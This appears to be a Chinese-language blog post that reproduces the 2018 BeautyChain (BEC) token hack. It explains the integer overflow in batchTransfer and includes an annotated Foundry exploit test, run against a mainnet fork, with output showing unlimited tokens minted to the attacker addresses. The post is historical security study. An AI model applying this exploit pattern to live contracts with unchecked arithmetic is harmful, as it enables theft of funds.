Skip to main content

Command Palette

Search for a command to run...

美链 BeautyChain 合约攻击复现

Published
2 min readView as Markdown
C
酷愛計算機技術Ardently Love Computer Technology 長期關註反洗錢反欺詐Long-term Focus on Anti-Money Laundering and Anti-Fraud 精通支付結算的技術、系統、流程和製度Proficient in the Technology, System, Process and Institution of Payment and Settlement

按照 https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2018-04/BEC_exp.sol

的注释 找到 BeautyChain (BEC) 的合约地址和该笔攻击交易

Transaction Hash:  0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f
From
0x09a34E01...1ED5fe93c
To
0xb4D30Cac...f42119033
For57,896,044,618,658,097,711,785,492,504,343,953,926,634,992,332,820,282,019,728.792003956564819968
BeautyChain (BEC)
From
0x09a34E01...1ED5fe93c
To
0x0e823fFE...72F76C3d7
For57,896,044,618,658,097,711,785,492,504,343,953,926,634,992,332,820,282,019,728.792003956564819968
BeautyChain (BEC)

Input Data: 
Function: batchTransfer(address[] _receivers, uint256 _value)

MethodID: 0x83f12fec
[0]:  0000000000000000000000000000000000000000000000000000000000000040
[1]:  8000000000000000000000000000000000000000000000000000000000000000
[2]:  0000000000000000000000000000000000000000000000000000000000000002
[3]:  000000000000000000000000b4d30cac5124b46c2df0cf3e3e1be05f42119033
[4]:  0000000000000000000000000e823ffe018727585eaf5bc769fa80472f76c3d7

漏洞出现在 BecToken 合约的第 261 行,batchTransfer 批量转账函数

function batchTransfer(address[] _receivers, uint256 _value) public whenNotPaused returns (bool) {
    uint cnt = _receivers.length;// 传入收款账户地址的数组的长度
    uint256 amount = uint256(cnt) * _value;// 数组长度强制转为 unit256 类型,与传入的转账数量相乘,赋值给转账总额 amount 变量
    require(cnt > 0 && cnt <= 20);// 收款账户数组长度大于 0 小于等于 20
    require(_value > 0 && balances[msg.sender] >= amount);// 检查传入的转账数量大于 0 ,并且消息发送者账户余额大于转账总额

传入的数组长度可控,传入的转账数量 value 也可控。如果 value 非常大,则转账总额 amount 就会上溢出,变成非常小的值。于是 balances[msg.sender] >= amount 条件就可以绕过

batchTransfer 的参数 _value 值为16进制的 800000000000000000000...,参数 _receivers 数组的大小为2,相乘之后刚好可超过 uint256 所能表示的整数大小上限,引发溢出问题 amount 实际的值为 0,后面的转账操作实际上 msg.sender 的余额减 0, 而对两个账号进行了加 16 进制的 800000000000000000000...,最终的结果是相当于增发了 2 * 16 进制的 800000000000000000000...

  • EXP
// SPDX-License-Identifier: UNLICENSED
// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

//将 BeautyChain (BEC) 定义为接口,并定义两个函数
interface BECToken {
    function balanceOf(address account) external view returns (uint256);
    function batchTransfer(address[] calldata _receivers, uint256 _value) external returns (bool);
}

// https://etherscan.io/tx/0xad89ff16fd1ebe3a0a7cf4ed282302c06626c1af33221ebe0d3a470aba4a660f
// https://etherscan.io/address/0xc5d105e63711398af9bbff092d4b6769c82f793d#code  Line261

//攻击合约
contract ContractTest is Test {
//定义常量
    address attacker1 = 0xb4D30Cac5124b46C2Df0CF3e3e1Be05f42119033;// 实际攻击者地址
    address attacker2 = 0x0e823fFE018727585EaF5Bc769Fa80472F76C3d7;//  实际攻击者地址
    BECToken bec = BECToken(0xC5d105E63711398aF9bbff092d4B6769C82F793D);// 给接口传入 BEC 合约地址,则 bec 实例就可以调用接口的函数
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);// 按照 foundry 说明文档,通过使用作弊码地址(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)来提供作弊码

    function setUp() public {
        cheats.createSelectFork("mainnet", 5_483_642);// 分叉攻击发生的区块
    }

    function testExploit() public {
        emit log_named_decimal_uint("Before Exploit, Attacker1 BEC Balance", bec.balanceOf(attacker1), 18);
        emit log_named_decimal_uint("Before Exploit, Attacker2 BEC Balance", bec.balanceOf(attacker2), 18);

        address[] memory receivers = new address[](2);// 地址数组,固定长度为 2
        receivers[0] = attacker1;// 数组第一个元素 0xb4D3 地址
        receivers[1] = attacker2;// 数组第二个元素 0x0e82 地址
        bec.batchTransfer(receivers, type(uint256).max / 2 + 1);// 调用 bec 实例的批量转账函数,传入收款账户地址数组 和 转账数量,取 unit256 最大值的 1/2 加1。因为传入数组长度 2,传入的 _value 乘以 2 之后,就变成了 unit256 最大值加 2。实际等于 1

        emit log_named_decimal_uint("After Exploit, Attacker1 BEC Balance", bec.balanceOf(attacker1), 18);
        emit log_named_decimal_uint("After Exploit, Attacker2 BEC Balance", bec.balanceOf(attacker2), 18);
    }
}

使用 forge 命令测试结果

$ forge test BEC_Exp.t.sol -vvv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment. 

[⠢] Compiling...
No files changed, compilation skipped

Ran 1 test for test/BEC_Exp.t.sol:ContractTest
[PASS] testExploit() (gas: 84028)
Logs:
  Before Exploit, Attacker1 BEC Balance: 0.000000000000000000
  Before Exploit, Attacker2 BEC Balance: 0.000000000000000000
  After Exploit, Attacker1 BEC Balance: 57896044618658097711785492504343953926634992332820282019728.792003956564819968
  After Exploit, Attacker2 BEC Balance: 57896044618658097711785492504343953926634992332820282019728.792003956564819968

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.09s (3.18ms CPU time)
Ran 1 test suite in 1.12s (1.09s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
  • 主要参考文章
https://blog.csdn.net/Fly_hps/article/details/80732159

https://learnblockchain.cn/2018/04/25/bec-overflow/

https://learnblockchain.cn/docs/foundry/i18n/zh/cheatcodes/

More from this blog

Penetration Test、Python、Weaponization

721 posts

微信 smartcat9999 反欺詐Anti-Fraud 反洗錢Anti-Money Laundering 反逃稅Anti-Tax Evasion 滲透測試Penetration Test 武器化Weaponization